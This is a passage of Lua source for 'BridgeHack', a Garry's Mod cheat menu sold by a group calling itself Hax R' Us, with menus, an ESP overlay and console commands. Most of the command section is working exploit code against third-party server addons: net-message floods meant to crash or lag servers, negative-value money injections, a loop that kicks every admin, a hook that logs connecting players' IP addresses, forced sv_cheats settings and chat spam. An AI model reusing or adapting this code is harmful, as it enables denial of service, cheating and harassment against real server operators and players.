checking versions!\")\x0a\x0a\x09\x09end end end) end\x0a\x0aVersionCheck()\x0a\x0a\x0a\x0a/*\x0a\x0a\x09About Menu\x0a\x0a\x09\x0a\x0a\x09Woo, learn about us.\x0a\x0a\x0a\x0a*/\x0a\x0afunction AboutMenu()\x0a\x0a\x09local frame = vgui.Create(\"DFrame\")\x0a\x0a\x09\x09frame:SetSize( ScrW(), ScrH() )\x0a\x0a\x09\x09frame:SetPos( 0,0 )\x0a\x0a\x09\x09frame:SetVisible( true )\x0a\x0a\x09\x09frame:SetDraggable( false )\x0a\x0a\x09\x09frame:MakePopup()\x0a\x0a\x09\x09frame:ShowCloseButton( false )\x0a\x0a\x09\x09frame.Paint = function(s,w,h)\x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,0,0,200) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(0,230,255,150) )\x0a\x0a\x09\x09\x09surface.DrawRect( 0, ScrH()/15, ScrW(), ScrH()/8 )\x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255)\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupHFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/5 , ScrH()/10 )\x0a\x0a\x09\x09\x09surface.DrawText(\"About BridgeHack\")\x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.5)\x0a\x0a\x09\x09\x09surface.DrawText(\"BridgeHack, made by the Hax R' Us team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.4 )\x0a\x0a\x09\x09\x09surface.DrawText(\"If we haven't said it enough, we'll say it again...\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.3 )\x0a\x0a\x09\x09\x09surface.DrawText(\"The Hax R' Us team has worked VERY hard on this menu.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.2 )\x0a\x0a\x09\x09\x09surface.DrawText(\"We LOVE feedback, so please, take the time and send an email to team.\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.1 )\x0a\x0a\x09\x09\x09surface.DrawText(\"haxrus1337@gmail.com\")\x0a\x0a\x09\x09\x09surface.SetTextPos( w/4, h/2.0 )\x0a\x0a\x09\x09\x09surface.DrawText(\"Tell us what you think of the menu.\")\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09button = vgui.Create(\"DButton\", frame)\x0a\x0a\x09\x09button:SetSize(110,32.5)\x0a\x0a\x09\x09button:SetPos(frame:GetWide()/2+frame:GetWide()/10, frame:GetTall()/1.9)\x0a\x0a\x09\x09button:SetText(\"\")\x0a\x0a\x09\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09\x09end\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09frame:Close()\x0a\x0a\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0a/*\x0a\x0a\x0a\x0a\x09\x09\x09GUYS ITS FINALLY HERE!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x09\x09\x09BridgeHack WELCOME SCREEN!!!!!\x0a\x0a\x09\x09\x09\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x0a\x09button = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09button:SetSize(110,32.5)\x0a\x0a\x09button:SetPos(Popup:GetWide()/2+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09button:SetText(\"\")\x0a\x0a\x09button.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,136,69) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(30.5,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Alright!\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09button.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton = vgui.Create(\"DButton\", Popup)\x0a\x0a\x09logbutton:SetSize(110,32.5)\x0a\x0a\x09logbutton:SetPos(Popup:GetWide()/3+Popup:GetWide()/10, Popup:GetTall()/2.050)\x0a\x0a\x09logbutton:SetText(\"\")\x0a\x0a\x09logbutton.Paint = function(s,w,h) \x0a\x0a\x09\x09surface.SetDrawColor( Color(255,255,255) ) \x0a\x0a\x09\x09surface.DrawRect( 0,0, w,h ) \x0a\x0a\x09\x09surface.SetDrawColor( Color(13,170,181) ) \x0a\x0a\x09\x09surface.DrawRect( 0+3,0+3, w-6,h-6 ) \x0a\x0a\x09\x09surface.SetTextColor(255,255,255) \x0a\x0a\x09\x09surface.SetFont(\"PopupFont\") \x0a\x0a\x09\x09surface.SetTextPos(10,5.5) \x0a\x0a\x09\x09surface.DrawText( \"Change Logs\" ) \x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09logbutton.DoClick = function(s,w,h) \x0a\x0a\x09\x09\x09Popup:Close()\x0a\x0a\x09\x09\x09ChangeLogMenu()\x0a\x0a\x09\x09\x09SoundClick()\x0a\x0a\x09end end\x0a\x0aconcommand.Add(\"bh_welcome\", WelcomeScreen, SVersionCheck)\x0a\x0a\x09\x0a\x0a--\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09\x09Version Menu It Looks PURDY\x0a\x0a\x0a\x0afunction ChangeLogMenu()\x0a\x0a\x09local Panel = vgui.Create( \"DFrame\" )\x0a\x0a\x09Panel:SetSize( 800, 600 )\x0a\x0a\x09Panel:SetPos( ScrW(),ScrH() )\x0a\x0a\x09Panel:MoveTo( ScrW()/2-Panel:GetWide()/2, ScrH()/2-Panel:GetTall()/2 , 2, 0, 0.8) -- Sliding code M8\x0a\x0a\x09Panel:SetTitle( \"\" )\x0a\x0a\x09Panel:MakePopup()\x0a\x0a\x09Panel:ShowCloseButton( false )\x0a\x0a\x09function Panel:Paint( w, h )\x0a\x0a\x09\x09draw.RoundedBox( 4, 0, 0, w, h, Color( 10, 10, 10, 160) )\x0a\x0a\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, 40, Color( 240, 85, 0, 160), true, true, false, false )\x0a\x0a\x09\x09draw.SimpleText( \"BridgeHack ChangeLogs\", \"Default\", 6, 15, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09local Button = vgui.Create(\"DButton\", Panel)\x0a\x0a\x09\x09Button:SetPos( 740, 10 )\x0a\x0a\x09\x09Button:SetSize( 50, 25 )\x0a\x0a\x09\x09Button:SetText( \"\" )\x0a\x0a\x09\x09function Button:Paint( w, h )\x0a\x0a\x09\x09\x09draw.RoundedBoxEx( 4, 0, 0, w, h, Color(0,0,0,150) )\x0a\x0a\x09\x09\x09draw.SimpleText( \"Close\", \"HeaderFont\", 6, 2, Color( 255,255,255 ), 0, 0 )\x0a\x0a\x09\x09end\x0a\x0a\x09\x09Button.DoClick = function()\x0a\x0a\x09\x09\x09Panel:Close()\x0a\x0a\x09\x09end\x09\x0a\x0a\x09\x0a\x0a\x09local Label = vgui.Create( \"DLabel\", Panel )\x0a\x0a\x09Label:SetColor( Color( 255, 255, 255, 255 ) )\x0a\x0a\x09Label:SetFont( \"DermaLarge\" )\x0a\x0a\x09\x0a\x0a\x09if outdated == 1 then\x0a\x0a\x09Label:SetText( \"Your version \" ..dlversion..\" is outdated!\" )\x0a\x0a\x09Label:SetTextColor( Color( 255,0,0 ) )\x0a\x0a\x09elseif outdated == 0 then\x0a\x0a\x09Label:SetText( \"Your version \"..dlversion..\" is up to date!\" )\x0a\x0a\x09Label:SetTextColor( Color( 0,255,0 ) )\x0a\x0a\x09else\x0a\x0a\x09Label:SetText(\"Error receving version information!\")\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0a\x09Label:SizeToContents()\x0a\x0a\x09Label:SetPos( Label:GetParent():GetWide()/2-Label:GetWide()/2-5, 50 )\x0a\x0a\x09\x0a\x0a\x09local HTML = vgui.Create( \"HTML\", Panel )\x0a\x0a\x09HTML:OpenURL( \"http:/pastebin.com/raw.php?i=Ax9WQ5y7\" )\x0a\x0a\x09HTML:SetSize( HTML:GetParent():GetWide() - 50, HTML:GetParent():GetTall() - 160 )\x0a\x0a\x09HTML:SetPos( 25, 100 )\x0a\x0a\x09HTML.Paint = function()\x0a\x0a\x09\x09surface.SetDrawColor( Color( 160, 160, 160) )\x0a\x0a\x09\x09surface.DrawRect( 0, 0, HTML:GetWide(), HTML:GetTall() )\x0a\x0a\x09end end\x0a\x0a/*\x09\x0a\x0a\x0a\x0a\x09\x0a\x0a\x09\x09\x09\x09END MENU\x0a\x0a\x09\x0a\x0a\x0a\x0a*/\x09\x0a\x0alocal randomvar = math.Rand(0,9999999)\x0a\x0alocal BridgeHack = {}\x0a\x0aBridgeHack.RandomVar = randomvar\x0a\x0alocal sweg = LocalPlayer():GetEyeTrace().Entity\x0a\x0alocal ply = LocalPlayer()\x0a\x0aply:ConCommand(\"bh_welcome\")\x0a\x0atimer.Destroy(\"changecolor\")\x0a\x0a\x0a\x0aqueries=1;\x0a\x0afunction status(statu)-- Made for debugging things.\x0a\x0a\x09queries = queries + 1\x0a\x0a\x09if GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawcurrent\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 255,255,255 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 25 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[\" .. queries .. \" Total Requests] STATUS: \" .. statu )\x0a\x0a\x09\x09end) end\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_chat_status\") == 1 then\x0a\x0a\x09\x09chat.AddText(Color(231, 76, 60), \"[BridgeHack \" .. dlversion .. \"]: \", Color(255,255,255), statu)\x0a\x0a\x09end end\x0a\x0a\x0a\x0afunction Debug(message) \x0a\x0a\x09queries = queries + 1\x0a\x0a\x09chat.AddText(Color(155, 89, 182), \"[ BridgeHack]: \", Color(255,255,255), message)\x0a\x0aend\x0a\x0a\x0a\x0alocal function CreateCvar(cvar, value)\x0a\x0a\x09CreateClientConVar(cvar, value)\x0a\x0a\x09consoleP(\"CVAR: \" .. cvar .. \" set to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0alocal function ResetCvar(cvar, value)\x0a\x0a\x09ply:ConCommand(\"\" .. cvar .. \" \" .. value)\x0a\x0a\x09Debug(\"CVAR: \" .. cvar .. \" reset to \" .. value)\x0a\x0aend\x0a\x0a\x0a\x0aCheckPastebin()\x0a\x0aCreateCvar(\"bh_notify\", 1)\x0a\x0aCreateCvar(\"bh_ulxgag\", 1, true, false)\x0a\x0aCreateCvar(\"bh_playsound\",1)\x0a\x0aCreateCvar(\"bh_hitmenuammount\",0)\x0a\x0aCreateCvar(\"bh_menu_effects\", 1)\x0a\x0aCreateCvar(\"bh_firstload_correct\", 1)\x0a\x0aCreateCvar(\"bh_chat_status\", 0)\x0a\x0aCreateCvar(\"bh_cheats_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_cheats_svlua_enabled_on_start\", 0)\x0a\x0aCreateCvar(\"bh_showhud\", 0)\x0a\x0aCreateCvar(\"bh_esp\",0)\x0a\x0aCreateCvar(\"bh_esp_box\",1)\x0a\x0aCreateCvar(\"bh_debug\",0)\x0a\x0aCreateCvar(\"bh_esp_hp\",1)\x0a\x0aCreateCvar(\"bh_esp_rank\",1)\x0a\x0aCreateCvar(\"bh_renderdistance_enable\",0)\x0a\x0aCreateCvar(\"bh_esp_rdistance\",2000)\x0a\x0aCreateCvar(\"bh_esp_infocolor_r\",255)\x0a\x0aCreateCvar(\"bh_esp_infocolor_g\",0)\x0a\x0aCreateCvar(\"bh_esp_infocolor_b\",255)\x0a\x0aCreateCvar(\"bh_ratm_money2give\",100000)\x0a\x0a\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_firstload_correct\") == 1 then\x0a\x0a\x09Derma_Message( \"Welcome \" .. ply:Nick() .. \", We see its your first time launching BridgeHack on your SteamID (\" .. ply:SteamID() .. \")\\nHow do I open the menu?\\nSimply do this bind in console bind KEY +bh_menu\\nThanks for purchasing BridgeHack, Enjoy\\nBridgeHack Hack (HaxRUs)\", \"Welcome to BridgeHack \" .. ply:Nick() .. \"!\", \"Click me to continue\" )\x0a\x0a\x09ply:ConCommand(\"bh_firstload_correct 0\")\x0a\x0a\x09chatP(\"Welcome to the world of BridgeHack.\")\x0a\x0a\x09\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0aif GetConVarNumber(\"bh_cheats_enabled_on_start\") == 1 then\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_cheats 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_cheats to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0aif GetConVarNumber(\"bh_cheats_svlua_enabled_on_start\") == 1 then\x0a\x0a\x09\x0a\x0a\x09ply:ConCommand(\"incrementvar sv_allowcslua 0 1 1\")\x0a\x0a\x09status(\"Enabled sv_allowcslua to 1\")\x0a\x0aelse\x0a\x0aend\x0a\x0a\x0a\x0a/ FIXES \x0a\x0alocal oChatAddText = chat.AddText\x0a\x0a\x0a\x0afunction chat.AddText( ... )\x0a\x0a\x09local cArgs = { ... };\x0a\x0a\x09\x09\x09\x0a\x0a\x09\x0a\x0a\x09for k, v in pairs( cArgs ) do\x0a\x0a\x09\x09if (type(v) == 'string' && string.len(v) > 255) then -- 255 should be fine\x0a\x0a\x09\x09\x09print(\"BLOCKED STRING CRASH len[\" .. string.len(v) .. \"]\"); \x0a\x0a\x09\x09\x09return false;\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09return oChatAddText( ... );\x0a\x0aend\x0a\x0a\x0a\x0a---------------------------------------/ Global timers /---------------------------------------\x0a\x0aif GetConVarNumber(\"bh_showhud\") == 1 then\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawcursor\", function()\x0a\x0a\x09\x09local x, y, c = ScrW() / 2, ScrH() / 2, Color(225, 0, 0, 255) \x0a\x0a\x09\x09surface.SetDrawColor(c)\x0a\x0a\x09\x09surface.DrawLine(x - 10, y, x - 5, y)\x0a\x0a\x09\x09surface.DrawLine(x, y + 5, x, y + 10)\x0a\x0a\x09\x09surface.DrawLine(x + 10, y, x + 5, y)\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09hook.Add( \"HUDPaint\", \"drawabout\", function()\x0a\x0a\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09surface.SetTextColor( 46, 204, 113 )\x0a\x0a\x09\x09surface.SetTextPos( 25, 15 ) \x0a\x0a\x09\x09surface.DrawText( \"BridgeHack \" .. dlversion )\x0a\x0a\x09end)\x0a\x0a\x09\x0a\x0a\x09if GetConVarNumber(\"bh_debug\") > 0 then \x0a\x0a\x09\x09if system.IsWindows( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev1\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsLinux( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev2\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: Linux\" )\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09if system.IsOSX( ) == true then\x0a\x0a\x09\x09\x09hook.Add( \"HUDPaint\", \"drawdev3\", function()\x0a\x0a\x09\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09\x09surface.DrawText( \"[] Server Operating System: OSX\")\x0a\x0a\x09\x09\x09end)\x0a\x0a\x09\x09end\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev4\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 47 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Operating System: Windows\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev5\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 57 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Server Location: \" .. system.GetCountry( ) .. \"\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09\x09hook.Add( \"HUDPaint\", \"drawdev6\", function()\x0a\x0a\x09\x09\x09surface.SetFont( \"BudgetLabel\" )\x0a\x0a\x09\x09\x09surface.SetTextColor( 231, 76, 60 )\x0a\x0a\x09\x09\x09surface.SetTextPos( 25, 67 ) \x0a\x0a\x09\x09\x09surface.DrawText( \"[] Connection Time: \" .. system.AppTime( ) .. \" Seconds\" )\x0a\x0a\x09\x09end)\x0a\x0a\x09\x09\x0a\x0a\x09end\x0a\x0aend\x0a\x0a\x09\x0a\x0astatus(\"Starting\")\x0a\x0astatus(\"BridgeHack Loaded\")\x0a\x0a\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x0a\x0a\x09local playermoney = (v.DarkRPVars and v.DarkRPVars.money) or 0\x0a\x0a\x09\x09consoleP(v:GetUserGroup()..\": \" .. v:Nick() .. \" - \" .. v:SteamID() .. \" - $\" .. playermoney)\x0a\x0a\x09end\x0a\x0aconsoleP(\"BridgeHack, by HaxRUs\")\x0a\x0aconsoleP(dlversion)\x0a\x0a\x0a\x0a/ FUNCTIONS--------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a/ CONCOMMANDS------------------------------------------420---------------------------------------------------------------------------------\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxcrash\", function ( ply )\x0a\x0afor i=0,300 do\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmanxinfa\", function ( ply )\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"SendMoney\" )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteEntity( v )\x0a\x0anet.WriteString( \"-100000000000000000000000000000000000000000\" )\x0a\x0anet.SendToServer()\x0a\x0a\x0a\x0aend end)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_hitmancrash\",function()\x0a\x0a\x09for i=0,5000 do\x0a\x0a\x09\x09ply:ConCommand('addhit \"'..ply:Nick()..'\" 500')\x0a\x0a\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ulxgag\",function()\x0a\x0a\x09\x09if(ulx and ulx.gagUser) then\x0a\x0a\x09\x09\x09if GetConVarNumber(\"bh_ulxgag\") == 1 then\x0a\x0a\x09\x09\x09\x09ulx.gagUser(LocalPlayer(),false)\x0a\x0a\x09\x09\x09else\x0a\x0a\x09\x09\x09end\x0a\x0a\x09\x09else\x0a\x0a\x09\x09end\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_antiaim\",function()\x0a\x0a\x09hook.Add(\"CreateMove\",function(cmd, u)\x0a\x0a\x09if (LocalPlayer():KeyDown(IN_ATTACK)) then return end\x0a\x0a\x09local aa = cmd:GetViewAngles()\x0a\x0a\x09cmd:SetViewAngles(Angle(-9999999999, aa.y, 99939329))\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0a\x0a\x0aconcommand.Add(\"bh_infinite_all\",function()\x0a\x0a clearcon()\x0a\x0a cleardchat()\x0a\x0a chatP(\"Giving money, He he\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0anet.Start( \"BailOut\" )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteEntity( v )\x0a\x0a\x09\x09\x09net.WriteFloat( -infinite )\x0a\x0a\x09\x09 net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_ipsteal\",function()\x0a\x0ahook.Add(\"PlayerConnect\", \"IPStealer\", function(name, ip)\x0a\x0a\x09file.Append(\"ips.txt\", name .. \" - \" .. ip .. \"\\n\")\x0a\x0aend)\x0a\x0a\x0a\x0aend)\x0a\x0a\x0a\x0alocal nlr = CreateClientConVar(\"bh_nlr_freeze\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function nlrs()\x0a\x0a\x09if nlr:GetBool() then\x0a\x0a\x09\x09for k,v in pairs(player.GetAll())do\x0a\x0a\x09\x09if v != LocalPlayer() then\x0a\x0a\x09\x09\x09net.Start(\"NLR.ActionPlayer\")\x0a\x0a\x09\x09\x09net.WriteEntity(v)\x0a\x0a\x09\x09\x09net.SendToServer()\x0a\x0a\x09\x09end\x0a\x0a\x09\x09end\x0a\x0a\x09end\x0a\x0a\x09end\x0a\x0atimer.Create(\"nlrs\", 4,0,nlrs)\x0a\x0a\x0a\x0aLastTime = CurTime()\x0a\x0a\x0a\x0afunction drawdatopscreen() \x0a\x0a\x09if GetConVarNumber(\"bh_notify\") > 0 then\x0a\x0a\x09\x0a\x0a\x09\x09sweg = math.Clamp((CurTime()-LastTime)/20,0,1)\x0a\x0a\x09if sweg == 1 then\x0a\x0a\x09\x09LastTime = CurTime()\x0a\x0a\x09end\x0a\x0a\x0a\x0a\x09end\x0a\x0aend\x0a\x0ahook.Add( \"HUDPaint\", \"drawdatopscreen\", drawdatopscreen )\x0a\x0a\x0a\x0aconcommand.Add(\"bh_tp_spawn\",function()\x0a\x0a\x09chatP(\"Teleported to spawn!\")\x0a\x0a\x09consoleP(\"Teleported to spawn!\")\x0a\x0a\x09status(\"Teleported to spawn!\")\x0a\x0a\x09net.Start(\"DarkRP_Kun_ForceSpawn\")\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_check\",function()\x0a\x0aclearcon()\x0a\x0acleardchat()\x0a\x0achatP(\"Checking for exploitable addons...\")\x0a\x0aif HIT then\x0a\x0a\x09chatPG(\"Hitman X | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hitman X | Not Found\")\x0a\x0aend\x0a\x0aif HitMenu then\x0a\x0a\x09chatPG(\"Hit Menu | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"Hit Menu | Not Found\")\x0a\x0aend\x0a\x0aif BAIL then\x0a\x0a\x09chatPG(\"BailNPC | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"BailNPC | Not Found\")\x0a\x0aend\x0a\x0aif dLogs then\x0a\x0a\x09chatPG(\"DLOGS | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"DLOGS | Not Found\")\x0a\x0aend\x0a\x0aif ChanNum then\x0a\x0a\x09chatPG(\"MXRadio| Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MXRadio | Not Found\")\x0a\x0aend\x0a\x0aif VC_Menu_Info_Panel_Build then\x0a\x0a\x09chatPG(\"VCMD | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"VCMD | Not Found\")\x0a\x0aend\x0a\x0aif MDE then\x0a\x0a\x09chatPG(\"MDE | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"MDE | Not Found\")\x0a\x0aend\x0a\x0aif NLR then\x0a\x0a\x09chatPG(\"NLR | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"NLR | Not Found\")\x0a\x0aend\x0a\x0aif Warnings_for_kick then\x0a\x0a\x09chatPG(\"ULX Extended | Found\")\x0a\x0aelse\x0a\x0a\x09chatPR(\"ULX Extended | Not Found\")\x0a\x0aend\x0a\x0a\x0a\x0aend)\x09\x0a\x0a\x0a\x0afunction reloadeddunkalladmins()\x0a\x0aclearcon()\x0a\x0achatP(\"KICKING ADMINS..... (THIS WILL INCLUDE ANYONE WHO ISNT A USER!)\")\x0a\x0atimer.Create( \"heymnangng\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif( v:GetUserGroup() != \"user\" ) then\x0a\x0aif v:Nick() != \"Gam\" then\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" )\x0a\x0anet.WriteEntity(v)\x0a\x0anet.WriteEntity(v)\x0a\x0anet.SendToServer()\x0a\x0aend\x0a\x0achatP('Kicked: '.. v:Nick().. \"!\")\x0a\x0aend end end end)end\x0a\x0aconcommand.Add( \"bh_mx_kickadmins\", reloadeddunkalladmins, SVersionCheck )\x0a\x0a\x0a\x0afunction dloglag()\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server.\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server..\")\x0a\x0aclearcon()\x0a\x0aprint(\"Lagging server...\")\x0a\x0atimer.Create( \"dlogsisfucked\", 3, 0, function()\x0a\x0afor i=0, 7000 do\x0a\x0alocal tosend = {\x0a\x0a\x09cmd=\"+forward\",\x0a\x0a\x09args=\" \"\x0a\x0a\x09\x0a\x0a\x09}\x0a\x0a\x09net.Start('dLogsGetCommand')\x0a\x0a\x09net.WriteTable(tosend)\x0a\x0a\x09net.SendToServer()\x0a\x0a\x09\x0a\x0aend end) end\x0a\x0a\x0a\x0aconcommand.Add( \"bh_dlogs_lag\", dloglag, SVersionCheck )\x0a\x0aconcommand.Add( \"bh_dlogs_lag_off\", function()\x0a\x0a\x09clearcon()\x0a\x0a\x09consoleP(\"Stopping the lag...\")\x0a\x0a\x09chatP(\"Stopping the lag...\")\x0a\x0a\x09timer.Destroy(\"dlogisfucked\")\x0a\x0aend)\x0a\x0a\x0a\x0aconcommand.Add(\"bh_admins\", function()\x0a\x0aclearcon()\x0a\x0achatP(\"Listing non-players..\")\x0a\x0achatP(\"Check console.\")\x0a\x0aconsoleP(\"============= ULX | Custom admin mode RANKS ============\")\x0a\x0afor k,v in pairs(player.GetAll()) do\x0a\x0a\x09\x09if( v:GetUserGroup() != \"user\" ) then\x0a\x0a\x09\x09\x09\x09print(v:Nick().. \" | \".. v:GetUserGroup())\x0a\x0a\x09\x09end\x0a\x0aend\x0a\x0aconsoleP(\"========================================================\")\x0a\x0aend)\x0a\x0a\x0a\x0alocal Spammer = CreateClientConVar(\"bh_advert\", \"0\", true, false)\x0a\x0a\x0a\x0alocal function Spam()\x0a\x0a\x09if Spammer:GetBool() then\x0a\x0a\x09\x09RunConsoleCommand(\"say\", \"/advert I AM TOO COOL FOR SCHOOL !!!!!!\") --Whatever you want\x0a\x0a\x09end end\x0a\x0atimer.Create(\"Spam\", 1.5,0,Spam)\x0a\x0a\x0a\x0alocal player2kick = CreateClientConVar(\"g_mx_playername\", \" \", true, false)\x0a\x0afunction kickdaplayer()\x0a\x0atimer.Create( \"heymnangng2\", 3, 0, function()\x0a\x0afor k,v in ipairs(player.GetAll()) do\x0a\x0aif v:Nick() == GetConVar(\"g_mx_playername\") then\x0a\x0aclearcon()\x0a\x0aprint(\"Kicking: \")\x0a\x0aprint(v:Nick())\x0a\x0afor i=0, 700 do\x0a\x0anet.Start( \"GetCar\" 